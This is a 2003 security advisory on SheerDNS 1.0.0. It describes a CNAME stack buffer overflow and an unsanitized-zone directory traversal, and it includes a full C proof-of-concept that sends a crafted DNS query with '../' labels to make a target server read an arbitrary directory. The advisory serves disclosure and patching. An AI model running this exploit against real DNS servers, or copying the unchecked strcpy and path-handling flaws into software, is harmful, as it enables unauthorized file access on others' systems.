16th Apr 2003 [SBWID-6150]
COMMAND
	SheerDNS Buffer Overflow and Directory Traversal
SYSTEMS AFFECTED
	SheerDNS 1.0.0
PROBLEM
	Frank Denis [j(at)pureftpd(dot)org] found following:
	 ------------------------[ Product description ]------------------------
	SheerDNS was written to be a simple replacement master DNS  server  that
	can be used where atomic updates are required. Because  it  stores  each
	record in a small file, updating records does not require  the  sheerdns
	process  to  be  notified  or  restarted.  Each  update  is  immediately
	available and served as-is.
	SheerDNS is extremely light-weight, simple, and fast, and  written  with
	security in mind.
	
	  Home page : http://threading.2038bug.com/sheerdns/
	
	 ------------------------[ Vulnerabilities ]------------------------
	Two main vulnerabilities were found in SheerDNS 1.0.0 .
	 * Buffer overflow in CNAME handling.
	There's buffer overflow in the way  SheerDNS  constructs  a  reply  when
	answering a CNAME request. See line 385 of sheerdns.c :
	
	  strcpy ((char *) query, lookup_results[0]);
	
	query is a 256 bytes buffer on the stack,  while  lookup_results[0]  can
	be up to 1024 bytes (see dir.c) .
	Lookup results are read from local files, hopefully created  by  trusted
	processes. However, a second vulnerability can break this.
	 * Directory traversal in directory_lookup().
	The point in SheerDNS is that data is directly served from files.  Thus,
	a request for the <type> record of  the  <zone>  zone  results  in
	reading a file whoose location is :
	
	  /var/sheerdns/<zone>/<type>
	
	However, SheerDNS 1.0.0 doesn't sanitize the requested zone.
	Using a specially crafted DNS request, an  arbitrary  directory  can  be
	read, moreover SheerDNS needs root privileges and doesn't chroot.
	The attached proof-of-concept makes it read the /tmp/passwd/ directory.
	* If an untrusted user can  create  files  with  arbitrary  names  on  a
	server running SheerDNS, both vulnerabilities can be combined.  SheerDNS
	can be forced to read any untrusted file  whoose  name  is  "CNAME"  and
	whoose content will trigger the query[] buffer overflow.
	 Proof Of Concept
	 ================
	
	/*
	 * SheerDNS 1.0.0 directory traversal POC.
	 * Jedi/Sector One <[email protected]>
	 */
	#include <stdio.h>
	#include <unistd.h>
	#include <string.h>
	#include <getopt.h>
	#include <ctype.h>
	#include <sys/types.h>
	#include <sys/socket.h>
	#include <netinet/in.h>
	#include <netdb.h>
	void fill(char * const msg_, size_t *len)
	{
	    register char *msg = msg_;
	    /* ID */
	    *msg++ = 2;
	    *msg++ = 4;
	    /* QR/OPCODE/AA/TC/RD/RA/Z */
	    *msg++ = 5;
	    *msg++ = 0;
	    /* QDCOUNT */
	    *msg++ = 0;
	    *msg++ = 1;
	    /* ANCOUNT */
	    *msg++ = 0;
	    *msg++ = 0;
	    /* NSCOUNT */
	    *msg++ = 0;
	    *msg++ = 0;
	    /* ARCOUNT */
	    *msg++ = 0;
	    *msg++ = 0;
	    /* QUERY */
	    *msg++ = 3; strcpy(msg, "../"); msg += 3;
	    *msg++ = 2; strcpy(msg, "./"); msg += 2;
	    *msg++ = 2; strcpy(msg, "./"); msg += 2;
	    *msg++ = 2; strcpy(msg, "./"); msg += 2;
	    *msg++ = 2; strcpy(msg, "./"); msg += 2;    
	    *msg++ = 12; strcpy(msg, "/tmp/passwd"); msg += 11; *msg++ = 0; 
	    *msg++ = 0;
	    /* QTYPE */
	    *msg++ = 0;
	    *msg++ = 1;
	    /* QCLASS */
	    *msg++ = 0;
	    *msg++ = 1;
	    /* FCS */
	    *msg++ = 0xc8;
	    *msg++ = 0x4c;
	    /* STOP */
	    *msg++ = 0x7e;
	    *len = (size_t) (msg - msg_);
	}
	void usage(const char * const prgname)
	{
	    printf("Usage : %s [-s <source host>] -t <target host>\n",
	           prgname);
	    exit(0);
	}
	int main(int argc, char *argv[])
	{
	    char msg[65500];
	    struct addrinfo hints, *res;
	    const char *source_host = NULL;
	    const char *target_host = NULL;
	    size_t len;
	    int kindy;
	    int fodder;
	    while ((fodder = getopt(argc, argv, "s:t:")) != -1) {
	        switch (fodder) {
	        case 's' :
	            if ((source_host = strdup(optarg)) == NULL) {
	                perror("strdup");
	                return 1;
	            }
	            break;
	        case 't' :
	            if ((target_host = strdup(optarg)) == NULL) {
	                perror("strdup");
	                return 1;
	            }
	            break;
	        default :
	            usage(argv[0]);
	        }
	    }
	    if (source_host == NULL || target_host == NULL) {
	        usage(argv[0]);
	    }
	    fill(msg, &len);
	    memset(&hints, 0, sizeof hints);
	    hints.ai_family = AF_UNSPEC;
	    hints.ai_addr = NULL;
	    if ((fodder = getaddrinfo(source_host, NULL, &hints, &res)) != 0) {
	        fprintf(stderr, "getaddrinfo : %s\n", gai_strerror(fodder));
	        return 1;
	    }    
	    if ((kindy = socket(PF_INET, SOCK_DGRAM, IPPROTO_UDP)) == -1) {
	        perror("socket");
	        return 1;
	    }
	    if (bind(kindy, (struct sockaddr *) res->ai_addr,
	             res->ai_addrlen) != 0) {
	        perror("bind");
	        return 1;
	    }
	    memset(&hints, 0, sizeof hints);
	    hints.ai_family = AF_UNSPEC;
	    hints.ai_addr = NULL;
	    if ((fodder = getaddrinfo(target_host, "domain", &hints, &res)) != 0) {
	        fprintf(stderr, "getaddrinfo : %s\n", gai_strerror(fodder));
	        return 1;
	    }
	    if (sendto(kindy, msg, len, 0, (const struct sockaddr *) res->ai_addr,
	               (socklen_t) res->ai_addrlen) <= (ssize_t) 0) {
	        perror("sendto");
	        return 1;
	    }
	    (void) close(kindy);
	    return 0;
	}
	
SOLUTION
	Upgrade to SheerDNS 1.0.1